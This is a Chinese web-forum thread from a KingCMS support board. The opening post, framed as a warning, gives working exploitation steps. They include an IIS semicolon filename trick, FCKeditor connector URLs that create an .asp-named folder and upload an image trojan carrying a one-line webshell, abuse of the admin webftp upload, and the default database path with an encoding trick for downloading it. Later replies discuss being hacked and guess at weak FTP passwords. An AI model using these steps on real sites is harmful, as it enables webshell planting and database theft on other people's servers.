fox1383164k | 发表于:10-11-13 15:13 [添加收藏] 楼主 [回复] #Top# |
---|---|
人气:377
积分:864
金币:3006
|
这个漏洞不晓得应不应该出现在这。希望大家尽快修复吧,免得被挂马了再亡羊补牢。 把本地的马命名为 hx.asp;jpg 注意看 jpg前面没有点了.. OK了..其实以后做站结合fckeditor这类的编辑器..最好加个验证..只有管理才能访问..这样或者比较好吧 2。编辑器路径:/admin/system/editor/ 利用方式:访问http://www.xxx.com/admin/system/editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=qing.asp后在/up_files/image/目录下创建一个明文qing.asp的文件夹。 然后访问http://www.xxx.com/admin/system/editor/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp,选择刚创建的qing.asp文件夹并上传图片木马,可以上传包含一句话内容的图片,然后使用一句话客户端连接。 3。该系统后台也是比较脆弱的,若能成功登陆后台拿webshell比较简单,后台中有个webftp的功能,可以上传任意文件。默认数据库地址为/db/King#Content#Management#System.mdb,下载的时候将#替换成%23后下载。
临时解决方案: 1。更改后台路径admin 为其他目录。
Ta最近还发表过
[分享]
25个时尚杰出的登录表单设计
(23-03-10)
[错误]
kingcms5.0/5.1漏洞
(19-02-14)
[分享]
关于php版自定义模块搜索问题解决
(17-10-21)
[使用]
可以下拉的自动生成导航栏menu
(13-09-19)
[错误]
KingCMS 企业版(PHP) 6.0.970(Sp1)几个错误的解决方案
(13-06-20)
随机阅读
[疑问]
大家认为做地方站门户网站流量咋样呢
(12-03-07)
[疑问]
【求助】调试图片不能横排
(12-02-12)
[使用]
升级到2.2后出问题
(12-02-02)
[使用]
产品子分类的主页都能显示,就是主分类没有。
(11-10-10)
[其他]
深夜灌水。。
(10-12-18)
|
220.168.206.* | 发表于:10-11-13 15:19 沙发 [回复] #Top# |
---|---|
|
一般都修改后台目录名了
|
fox1383164k | 发表于:10-11-13 15:32 板凳 [回复] #Top# |
---|---|
人气:377
积分:864
金币:3006
|
我的站改了后台目录名了,昨天仍然被黑了,在根目录被传上去3个木马。
被挂的木马名是: 百思不得其解。网上找到的kingcms漏洞都是说的后台目录的漏洞。估计有新的漏洞网上没有公布吧,用的5.08版本 |
yker | 发表于:10-11-13 18:54 4楼 [回复] #Top# |
---|---|
人气:51
积分:748
金币:2193
|
也有可能是你服务器的问题。
|
笑月修罗 | 发表于:10-11-13 19:00 5楼 [回复] #Top# |
---|---|
人气:4
积分:6
金币:58
|
关注...............
|
jycys007 | 发表于:10-11-17 13:10 6楼 [回复] #Top# |
---|---|
人气:66
积分:563
金币:2015
|
今天又来找蛋了
|
fox1383164k | 发表于:10-11-26 09:48 7楼 [回复] #Top# |
---|---|
人气:377
积分:864
金币:3006
|
结贴
--------------- 初步猜测应该是FTP的密码设置的太过简单,被批量扫出来了,然后被某个黑客盯上了,所以大家的FTP密码要设置的复杂点。否则....网上有批量扫FTP弱口令的! |
SinCS | 发表于:10-11-26 14:23 8楼 [回复] #Top# |
---|---|
人气:1148
积分:28
金币:73433
|
难道是123456?
|
fox1383164k | 发表于:10-11-28 23:59 9楼 [回复] #Top# |
---|---|
人气:377
积分:864
金币:3006
|
不是,比他复杂一点的。不过,真的不能告诉你....
|
goodutoo | 发表于:11-01-26 16:08 10楼 [回复] #Top# |
---|---|
人气:5
积分:35
金币:150
|
哥的估计被挂马了
|